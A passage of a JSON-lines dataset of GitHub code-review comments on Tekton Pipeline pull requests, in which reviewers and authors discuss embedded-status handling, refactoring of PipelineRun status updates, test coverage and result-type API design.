4739, "repo": "pipeline"} +{"author": "lbernick", "body": "this block is repeated in a few places, can it be reused?", "comment_id": 844377794, "created_at": "2022-04-06T20:20:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "rather than sorting the output, I think you can provide extra inputs/flags to cmp.Diff to get it to ignore ordering of some fields.", "comment_id": 844381448, "created_at": "2022-04-06T20:22:55Z", "line": 1036, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "super nit: I think you can import and use constants for the `kind` of Run and TaskRun (here and elsewhere in the PR)", "comment_id": 844384612, "created_at": "2022-04-06T20:24:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I think the branches are off here, you probably want\r\n```\r\nif embeddedStatusValue != config.MinimalEmbeddedStatus {}\r\nif embeddedStatusValue != config.FullEmbeddedStatus{}\r\n```\r\nboth here and below (ensuring config.BothEmbeddedStatus is tested correctly)", "comment_id": 844393791, "created_at": "2022-04-06T20:28:30Z", "line": 130, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "super nit: this function can just be called \"getEmbeddedStatus\"", "comment_id": 844398317, "created_at": "2022-04-06T20:32:28Z", "line": null, "path": "test/featureflags.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Nope, that's still relevant in my mind - `v1alpha1` should, in theory, always be `full`. Though in practice because of how we have the type aliases set up, I guess you could mess around there. Eh, I'm fine either way.", "comment_id": 844404992, "created_at": "2022-04-06T20:41:40Z", "line": null, "path": "test/v1alpha1/retry_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Good idea! I did not like the name but couldn't think of a better one.", "comment_id": 844405202, "created_at": "2022-04-06T20:41:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Lemme see how much breaks if we don't initialize 'em.", "comment_id": 844408762, "created_at": "2022-04-06T20:46:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "The changes here are either minor cleanup/renames (I really didn't like the `taskrun` variable name - I twitch when I see a variable name overriding an imported package name!), necessary signature changes, or the condition check changes with `getNewConditionChecksForTaskRun`. That said, I'll unrename things and clean up one or two inadvertent changes I made.", "comment_id": 844413376, "created_at": "2022-04-06T20:52:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "It is - we need to ensure we don't give a condition `TaskRun` different names from each of `...FromChildRefs` and `...FromTaskRuns` in the `both` scenario. It's annoying, but it is what it is.", "comment_id": 844421328, "created_at": "2022-04-06T21:04:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "See above at https://github.com/tektoncd/pipeline/pull/4739#discussion_r844421328 =)", "comment_id": 844421505, "created_at": "2022-04-06T21:04:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Oh yeaaaah - I just cargo-culted that over from the original `...FromTaskRuns` test blindly.", "comment_id": 844421951, "created_at": "2022-04-06T21:05:08Z", "line": 1036, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Huh, nothing but tests - nice!", "comment_id": 844423658, "created_at": "2022-04-06T21:07:44Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "It shows up twice for `TaskRun` and twice for `Run` - not sure if it's worth doing that as two functions, but I'm open to it.", "comment_id": 844424336, "created_at": "2022-04-06T21:08:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "And actually, I'm not sure if `cmpopts.SortSlices` would make much of a difference here - it'd just be moving the same code around to be a parameter rather than standing alone...", "comment_id": 844425949, "created_at": "2022-04-06T21:11:09Z", "line": 1036, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "I swear that I couldn't figure out where to find that to import. Maybe I missed something?", "comment_id": 844426409, "created_at": "2022-04-06T21:11:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Good catch!", "comment_id": 844426931, "created_at": "2022-04-06T21:12:37Z", "line": 130, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 844427337, "created_at": "2022-04-06T21:13:16Z", "line": null, "path": "test/featureflags.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "thanks for adding this function! just a few quick comments:\r\n- I would collect the names of child refs not in taskruns/runs and return an error containing all of them; this is more informative\r\n- make sure you're handling the case where childRef isn't a taskrun or a run\r\n- please add some tests for this function", "comment_id": 845150319, "created_at": "2022-04-07T13:41:08Z", "line": 1263, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "got it-- any way to factor out the condition checks and pass them into the `updatePipelineRunStatus` functions? it seems like the `updatePipelineRunStatus` functions could be made more modular: they should just take some info and use it to update the PR status, without having to return data that will be used in other updates", "comment_id": 845154653, "created_at": "2022-04-07T13:44:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "these two functions in general share a lot of code, could you experiment to see how it can be consolidated?", "comment_id": 845155611, "created_at": "2022-04-07T13:45:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "they're [here](https://github.com/tektoncd/pipeline/blob/main/pkg/apis/pipeline/controller.go) but actually on second thought importing and using the controller name is a bit weird :/", "comment_id": 845160092, "created_at": "2022-04-07T13:49:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "same thing on line 218 and in custom_task_test", "comment_id": 845160799, "created_at": "2022-04-07T13:50:28Z", "line": 130, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "either way makes sense, but the comment here doesn't reflect the code.", "comment_id": 845162576, "created_at": "2022-04-07T13:52:06Z", "line": null, "path": "test/v1alpha1/retry_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "cleanup changes are great! I think they belong in a separate PR though", "comment_id": 845163912, "created_at": "2022-04-07T13:53:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Oy, duh, fixed. =)", "comment_id": 845372092, "created_at": "2022-04-07T16:56:15Z", "line": null, "path": "test/v1alpha1/retry_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Lemme see what I can do here.", "comment_id": 845372285, "created_at": "2022-04-07T16:56:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "At this point there's just the one bit of cleanup left - switching `if trs == nil || len(trs) == 0 {` to `if len(trs) == 0 {`.", "comment_id": 845409312, "created_at": "2022-04-07T17:41:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "(oops accidentally hit resolve!)", "comment_id": 845409529, "created_at": "2022-04-07T17:41:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Maaaaybe? I think it's just a necessary evil at this point - yet another annoying side effect of `conditions`.", "comment_id": 845410204, "created_at": "2022-04-07T17:42:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Lemme see.", "comment_id": 845410423, "created_at": "2022-04-07T17:42:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "So fwiw on this particular block, I just tried going with a helper function or two (i.e., either one function each for `TaskRun` and `Run`, or one generic one with a type `switch`) and it didn't really make things any clearer, since we still have to have a block here for the `continue`. I'm still seeing if there are any other shared bits I can consolidate, but this particular one doesn't feel worth doing.", "comment_id": 845419589, "created_at": "2022-04-07T17:53:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Actually, turns out that once I decided to try doing the filtering of `condition` `TaskRun`s before entering the main loop, I saw the obvious and realized that we could just filter out the \"not owned by this `PipelineRun`\" `TaskRun`s and `Run`s before entering the main loop as well. \ud83e\udd26 =) How does https://github.com/tektoncd/pipeline/pull/4739/commits/6c8d61508a0aac2786cec9ae2e53e1114a91ade0 look?", "comment_id": 845436096, "created_at": "2022-04-07T18:10:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Oh right, I _did_ look at that and decided it felt too squirelly - I don't quite trust that the controller names are always going to be guaranteed to map one to one with the `kind`s. Feels like it might be worthwhile to add constants specifically for the `kind` name somewhere...", "comment_id": 845437323, "created_at": "2022-04-07T18:12:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Well I feel a silly man. Fixed.", "comment_id": 845437443, "created_at": "2022-04-07T18:12:28Z", "line": 130, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d on all of that! ", "comment_id": 845437804, "created_at": "2022-04-07T18:12:56Z", "line": 1263, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: this function comment describes the implementation, and the name describes how the function will be used.\r\nI'd prefer something like:\r\n// getChildObjects returns taskruns and runs owned by the pipelineRun, based on the value of the embedded status flag.", "comment_id": 846211141, "created_at": "2022-04-08T15:04:33Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "this is looking much better! :)", "comment_id": 846211382, "created_at": "2022-04-08T15:04:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please add a test case for minimal embedded status?", "comment_id": 846212190, "created_at": "2022-04-08T15:05:47Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this function call should be moved to `updatePipelineRunStatusFromChildObjects`", "comment_id": 846223386, "created_at": "2022-04-08T15:11:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "maybe a better pattern here could be one function for minimal embedded status, one function for full embedded status, and one function for both embedded status which calls both of the first two. I think this way none of them should need to return anything. thoughts?", "comment_id": 846235386, "created_at": "2022-04-08T15:19:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d I'm renaming it to `filterChildObjectsFromPRStatus`.", "comment_id": 846265981, "created_at": "2022-04-08T15:48:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "hooray! =)", "comment_id": 846266164, "created_at": "2022-04-08T15:48:43Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 846266398, "created_at": "2022-04-08T15:48:51Z", "line": 122, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 846266676, "created_at": "2022-04-08T15:49:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Hmm...lemme give it a shot and see how it feels.", "comment_id": 846320454, "created_at": "2022-04-08T16:58:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Actually, we'd still have the same problem in that approach - both the minimal and full functions would need to be able to generate names for `condition` `TaskRun`s, so the \"both\" function would still need to make sure that the name generated in the \"minimal\" function is still used in the \"full\" status. \r\n\r\nThere's probably some nifty little hack of an approach to deal with this that I'm just not seeing yet. =)", "comment_id": 846327795, "created_at": "2022-04-08T17:09:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "The best thing I can come up with so far would be something like when we hit the \"oh, we don't already have a `TaskRun` name in `pr.Status.TaskRuns` for this `condition` as part of the `PipelineTask` with this name\" in the `...FromTaskRuns` function, we should first iterate over `pr.Status.ChildReferences` to see if there's a child ref there with that `PipelineTaskName`. Would that be preferable to the current approach?", "comment_id": 846355630, "created_at": "2022-04-08T17:48:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "hahaha, I just realized that `resources.GetTaskRunName` already does exactly that! Cleaning this up now.", "comment_id": 846358479, "created_at": "2022-04-08T17:53:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "And realizing that actually let me clean the logic up even more - see https://github.com/tektoncd/pipeline/pull/4739/commits/c934e216d1e4f151c4e73dde81de9ce458242598", "comment_id": 846365255, "created_at": "2022-04-08T18:03:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "(and, for that matter, `kmeta.ChildName` will actually return the same thing every time anyway, so my whole worry about the generated names matching didn't matter in the first place!)", "comment_id": 846367621, "created_at": "2022-04-08T18:06:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "what's this for?", "comment_id": 846417711, "created_at": "2022-04-08T19:23:21Z", "line": 230, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm a bit confused, what's going on here?", "comment_id": 846420949, "created_at": "2022-04-08T19:28:20Z", "line": 339, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "We need the run name later in the test. ", "comment_id": 846439866, "created_at": "2022-04-08T20:01:10Z", "line": 339, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Ah, there's a line further down that needs to be removed. We need the context to be populated with the feature flags, hence this bit. ", "comment_id": 846440732, "created_at": "2022-04-08T20:02:37Z", "line": 230, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Oh, no, the later line is fine. Yeah, so what I said above. =) ", "comment_id": 846441435, "created_at": "2022-04-08T20:03:53Z", "line": 230, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "oh I see, the slice has length 1-- in that case pr.Status.Runs[0] is more clear", "comment_id": 846448062, "created_at": "2022-04-08T20:15:30Z", "line": 339, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I think you can just do `cfg := withCustomTasks(withEmbeddedStatus(newFeatureFlagsConfigMap(), tc.embeddedStatus))`", "comment_id": 846449741, "created_at": "2022-04-08T20:18:39Z", "line": 230, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "That creates a `ConfigMap`, but not a `*config.Store`, which is what we need to call `cfg.ToContext(ctx)`. I tried hand-crafting a `context.Context` so I could skip the `*config.Store` in between, but couldn't make it work right for `config.FromContextOrDefaults(ctx)` to pick it up properly. ", "comment_id": 846452575, "created_at": "2022-04-08T20:23:46Z", "line": 230, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Ah, right, I tried to do that, but `pr.Status.Runs` is a map, so `pr.Status.Runs[0]` isn't an option.", "comment_id": 846453713, "created_at": "2022-04-08T20:25:46Z", "line": 339, "path": "test/custom_task_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: function needs renaming", "comment_id": 847305399, "created_at": "2022-04-11T13:05:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "this looks like a bug: if embedded status is minimal, taskRunStatuses and runStatuses here will be empty slices", "comment_id": 847307547, "created_at": "2022-04-11T13:08:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please reword this comment to describe the inputs and outputs of the function rather than its implementation?", "comment_id": 847308555, "created_at": "2022-04-11T13:09:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I think there is some confusion between this function and `filterTaskRunsForPipelineRun` (and likewise for runs). this function doesn't appear to check owner references at all.", "comment_id": 847311273, "created_at": "2022-04-11T13:12:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Fixing!", "comment_id": 847361353, "created_at": "2022-04-11T13:59:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "I don't believe that's true - `pipelineRunFacts.State.GetTaskRunsStatus(pr)` will return the same thing regardless of the `embedded-status` value. Which does feel weird, admittedly, but I chose not to mess around with the internals of `PipelineRunState`.", "comment_id": 847364884, "created_at": "2022-04-11T14:03:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 847365078, "created_at": "2022-04-11T14:03:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Yeah, lemme clarify.", "comment_id": 847370525, "created_at": "2022-04-11T14:08:34Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "I'm rewording the comment, and renaming the function to `getChildObjectsFromPRStatus` rather than `filter...` to hopefully cut down on that confusion.", "comment_id": 847372541, "created_at": "2022-04-11T14:10:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "this doesn't feel right to me. if embedded status is minimal, we're using one function to get the TaskRuns to put into the PipelineRun's status, and a different function to get the TaskRuns to use for TaskRun results?", "comment_id": 847700069, "created_at": "2022-04-11T20:16:18Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Ah, ok, yeah, that's a valid point. It _works_ this way, but it doesn't feel like it's how we _should_ be doing it. The thing is that `resources.ApplyTaskResultsToPipelineResults` is operating on the underlying `taskRunStatuses[\"some-taskrun-name\"].Status.TaskRunResults`, which we don't have in `ChildReferences`. We _do_ have it in the `PipelineRunState`, hence `pipelineRunFacts.State.GetTaskRunsStatus(pr)` returning `taskRunStatuses`, which is the right form both for `PipelineRunStatus.TaskRuns` and for `resources.ApplyTaskResultsToPipelineResults`. So this is actually a case of the output of `pipelineRunFacts.State.GetTaskRunsStatus(pr)` being the right format for both cases...\r\n\r\nLemme see if I can figure out a rewrite of `resources.ApplyTaskResultsToPipelineResults` that bypasses using `...GetTaskRunsStatus(pr)` somehow...", "comment_id": 847725571, "created_at": "2022-04-11T20:51:03Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "abayer", "body": "Ok, lemme know if https://github.com/tektoncd/pipeline/pull/4739/commits/e886963dfa53d19c9cd61c86b8810f6e93050aa7 feels good?", "comment_id": 847798420, "created_at": "2022-04-11T22:44:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "vdemeester", "body": "\ud83d\ude08 ", "comment_id": 849100692, "created_at": "2022-04-13T05:52:53Z", "line": 25, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4753, "repo": "pipeline"} +{"author": "lbernick", "body": "you may be able to use [this function](https://github.com/tektoncd/pipeline/blob/43d18697b4db9bd2dce03b2c6eca1dce2d382d5f/pkg/apis/pipeline/v1beta1/taskrun_types.go#L419-L422) (for taskRun) or [this one](https://github.com/tektoncd/pipeline/blob/main/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L130-L135) (for RPRT)\r\n although not sure how you want to do the nil check. Same comment for Runs below.\r\n\r\nI would also update the last line of the docstring to say \"it returns results only for successful TaskRuns\" (and same for runs)", "comment_id": 849460311, "created_at": "2022-04-13T13:06:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4753, "repo": "pipeline"} +{"author": "lbernick", "body": "This docstring and the one for `runResultValue` should be updated.", "comment_id": 849463759, "created_at": "2022-04-13T13:09:59Z", "line": 231, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4753, "repo": "pipeline"} +{"author": "abayer", "body": "I think that second function is perfect - switching to it now.", "comment_id": 849478875, "created_at": "2022-04-13T13:24:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4753, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 849480633, "created_at": "2022-04-13T13:25:57Z", "line": 231, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4753, "repo": "pipeline"} +{"author": "lbernick", "body": "can this conditional logic be simplified? especially since [isCustomTask](https://github.com/tektoncd/pipeline/blob/main/pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go#L124-L127) just returns rprt.CustomTask.\r\n\r\nOne idea is to delete this block, and below have:\r\n\r\n```\r\nif rprt.CustomTask {\r\n\t\t\tif rprt.Run != nil {\r\n\t\t\t\tchildAPIVersion = rprt.Run.APIVersion\r\n\t\t\t} else if rprt.ResolvedConditionChecks == nil {\r\n\t\t\t\tcontinue\r\n } else {\r\n\t\t\t\tchildAPIVersion = runVersion\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t...\r\n}\r\n```", "comment_id": 849743571, "created_at": "2022-04-13T17:45:43Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "lbernick", "body": "would it make sense to also check the output of `getRunName(runsStatus, childRefs, tc.ptName, testPrName)`?", "comment_id": 849746496, "created_at": "2022-04-13T17:49:18Z", "line": 3549, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "abayer", "body": "Good call!", "comment_id": 849750049, "created_at": "2022-04-13T17:53:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "abayer", "body": "Ok, I think we still need/want that if chunk, but just for `TaskRun`s - `ResolvedConditionChecks` doesn't apply at all for `Run`s, so it's irrelevant there. Tweak incoming.", "comment_id": 849751950, "created_at": "2022-04-13T17:55:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "abayer", "body": "Can't hurt!", "comment_id": 849757107, "created_at": "2022-04-13T18:02:10Z", "line": 3549, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "abayer", "body": "Pushed!", "comment_id": 849759614, "created_at": "2022-04-13T18:05:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 4757, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: this function can be named \"GetConditionChecks\" (\"asMap\" is redundant)", "comment_id": 850576162, "created_at": "2022-04-14T15:45:05Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "lbernick", "body": "This docstring could be rewritten as \"filterTaskRunsForPipelineRun returns TaskRuns owned by the PipelineRun and their condition checks\"", "comment_id": 850577444, "created_at": "2022-04-14T15:46:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "lbernick", "body": "cleanup like swapping over to yaml parsing should be in a separate PR, although OK if you don't want to do it this time since the original PR has already been split several times", "comment_id": 850579914, "created_at": "2022-04-14T15:49:24Z", "line": 47, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 850591255, "created_at": "2022-04-14T16:02:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 850591345, "created_at": "2022-04-14T16:02:53Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "abayer", "body": "I thought it made sense to just do it here. =)", "comment_id": 850591974, "created_at": "2022-04-14T16:03:37Z", "line": 47, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "abayer", "body": "(also I originally did the ->YAML parsing change before I split this and the remainder of the implementation up, so it was markedly simpler to just bring it along)", "comment_id": 850592540, "created_at": "2022-04-14T16:04:23Z", "line": 47, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4760, "repo": "pipeline"} +{"author": "ywluogg", "body": "Do you mind adding a TODO for the object type?", "comment_id": 854391832, "created_at": "2022-04-20T17:36:02Z", "line": 2414, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "I should've made this clearer in the task breakdown summary - we are introducing these changes in v1alpha first. Then we gradually migrate that to v1beta. I updated this requirement in https://github.com/tektoncd/pipeline/issues/4723#issue-1186799973", "comment_id": 854565933, "created_at": "2022-04-20T21:23:51Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "I see params for the similar file is called params_types.go. Maybe it worths being consistent with params?", "comment_id": 854566509, "created_at": "2022-04-20T21:24:49Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "This should be ResultType?", "comment_id": 854584323, "created_at": "2022-04-20T21:54:20Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_types.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe it should start having an interface for ResultType and ParamsType, as they ultimately need to be in ArrayOrString: https://github.com/tektoncd/pipeline/blob/983dc37c5de9dee2e7790d7aea48312f65a2e698/pkg/apis/pipeline/v1beta1/param_types.go#L106\r\n\r\nPinging others @dibyom @vdemeester for more opinions", "comment_id": 854585205, "created_at": "2022-04-20T21:55:46Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/results.go", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 854600468, "created_at": "2022-04-20T22:10:50Z", "line": 2414, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4779, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Correct me if I'm wrong. I thought we have discussed this in chat with @jerop as well. v1alpha has different fields than v1beta1, they are quite different and I think the TEP is based on apis in v1beta1. \r\n\r\nin alpha1:\r\nhttps://github.com/tektoncd/pipeline/blob/7e5e4c0f7b50c40192d46153580bfb1f38891a1b/pkg/apis/pipeline/v1alpha1/task_types.go#L116-L133\r\n\r\nin beta1:\r\nhttps://github.com/tektoncd/pipeline/blob/7e5e4c0f7b50c40192d46153580bfb1f38891a1b/pkg/apis/pipeline/v1beta1/task_types.go#L130-L137", "comment_id": 854607558, "created_at": "2022-04-20T22:21:12Z", "line": 